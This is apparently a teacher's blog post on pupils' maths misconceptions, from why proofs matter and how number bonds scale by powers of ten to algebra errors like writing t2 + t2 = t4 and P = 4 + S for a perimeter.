The concept of proof is fascinating.  It was great to see the parallel lines proof in a lesson last week.   I don’t know if the exterior angles proof is any more fundamental than the alternate angles proof – and they both require some ground work to show that some basic concepts are defined and don’t require proof. In the appropriate context, they’re both worth doing as is the simple but wonderful act of ripping all the corners off ANY triangle so show they form a straight line.  But before you explore any specific proof, it seems that you need to explain why things needs to be proven at all. The angles in a triangle add up to 180 because they just do; it’s a fact we’re told.  That’s where kids often start from.

It was interesting to see students struggle with text-book questions linked to formulae that were posed as “Show that” S is £36 if the man works for 3 days.  They wanted to use the number 36 in the calculation rather than see this as the answer to be found. ‘Show that’ isn’t intuitive it appears.

Powers of 10...scaling number bonds up and down.

I’m interested in the extent to which students find it hard to move beyond certain limits of numbers even though all the basic patterns are replicated at higher or lower orders.  33 and 67 are bonded to 100 (if that’s the phrase); 325 and 675 are bonded to 1000.  So far so good.  303 and 697 – got it.  But 3034 and 6966 as bonded to 10000 or a similar delve into decimals can seem confusing – especially with stray zeros. My feeling is that children spend too long in the comfort of the 0-100 range at an early stage; that is probably because it feels necessary to secure understanding there as a platform.  However, I’d suggest we need to be bolder and Go Big and Small earlier.

In a Y8 science lesson last term I was asking students to imagine how many atoms were in small droplet. They went from a million to a billion to 10 billion… but then they could only imagine multiples: 20 billion,  30 billion… no longer going up in powers of 10. It was as if they’d reached a conceptual ceiling with how big numbers can get.  That was fascinating. Beyond about 50 billion it was just “really really big; bigger than I can imagine”.  And the same goes the other way.

Algebra:

As a teacher I was once dismayed to discover how many of my students got the answer wrong to:

Simplify t2 + t2. 

Most of them had written t2 + t2 = t4    instead of  t2 + t2 = 2t2

This was in a synoptic test, a few weeks after we had covered this topic in class.  At the time, in the lessons, they were whizzing through this stuff.  I had built it up slowly.  pen + pen = two pens;  4 + 4 = 2×4; p + p = 2p and so, obviously, t2 + t2 = 2t2.   

At the time, they were all seemed secure with this.  Any term + the same term = two x that term, including more complicated terms:

pt2s3 + pt2s3 = 2pt2s3

If’ we had stopped there, they would probably have been ok.  But we had also gone further, exploring indices and patterns such as this:

t x t = t2 t x t x t = t3 t x t x t x t = t4 (t x t) x (t x t) = t4 t2 x t2 = t4

Even though, at the time, we had practised various variations of this and students were getting questions right, evidently this was not making a shift in their mental models.  That final line introduces the link between  t2 x t2  and  t4  .  In their world, largely governed by surface learning, that connection is strong enough to override their thinking around the operations + or x.  It is common for them to want to remember answers rather than methods so t2 + t2 = t4   beat t2 + t2 = 2t2.

Perhaps it was because it was the most recent thing we’d done in algebra; perhaps it was because it feels more sophisticated to write t4 , but, regardless of the reason, I learned that their mental model for the whole business was weaker than I realised.   When faced with a question, garbled surface recall dominated over deeper conceptual understanding.  Once you put numbers in it always more obvious; they get that 9 +9 is not the same as 9 x9. But, in algebraic form, the abstraction overrides their number models.

One girl even stubbornly challenged me. No! That’s wrong sir. t2 + t2 IS t4 .  The way she had remembered it instead of understanding it was so strong, she didn’t believe me.  We had to go over it all again, step by step.  I had to pull down her badly remembered model, fixed firmly in her head to replace it with mine.  This told me that I hadn’t done enough of that.  We need to mix up the questions, use more wrong answer/spot the mistake questions in future and, generally reinforce the meaning of the algebra over and over again.

Another example came from a simple introductory exercise around making formulae to solve problems.  For example, writing a formula for the perimeter of a shape.  The diagram given was this.  Write a formula for the perimeter in terms of s.

One of my students had written  P = 4 + S.   This took be aback.  Her explanation: there are four sides, so you add four to S to get the perimeter. She hadn’t simply replaced a times with a plus.  We talked about how S was a length… 4 is a number of sides; they are numbers on different scales, doing different jobs.  This seemed beyond her.  It made more sense when we labelled the diagram fully: 

Now she could see it was S +S + S+ S = 4 lots of S, hence 4S.  So, the problem came from being able to see how the number 4 and the variable S combined.  It wasn’t immediately obvious to her that multiplication was the appropriate operation.  This is worrying. She’s in Year 10 – but we have to work with the students we have, helping them to develop a stronger sense of the meaning of numbers and mental models for the various operations.  The difficulty is that, at this age, they often just want short-cut, surface memory techniques to get through it all and that just isn’t enough.

I could go further: vector addition and first order differentiation were two of the other topics I have observed being taught where the same general pattern of thought applies. What are the fundamentals? What are the short-hand drills?  Where do we begin… letting the deeper understanding emerge from the routine practice or to go deep from the start?   I think that what matters is that, whichever route is chosen, it is done deliberately.  Similarly with all the other conceptual challenges above; if we know where they might be, we might be better prepared to help students overcome them.

Links to previous posts about maths: 

1. Level 6 Maths at KS2 – what’s the problem?

2. Owning the problem is part of the solution. 

3. https://teacherhead.com/2015/09/26/maths-mindsets-my-y10s/

Common Maths Struggles – some examples. published first on https://medium.com/@KDUUniversityCollege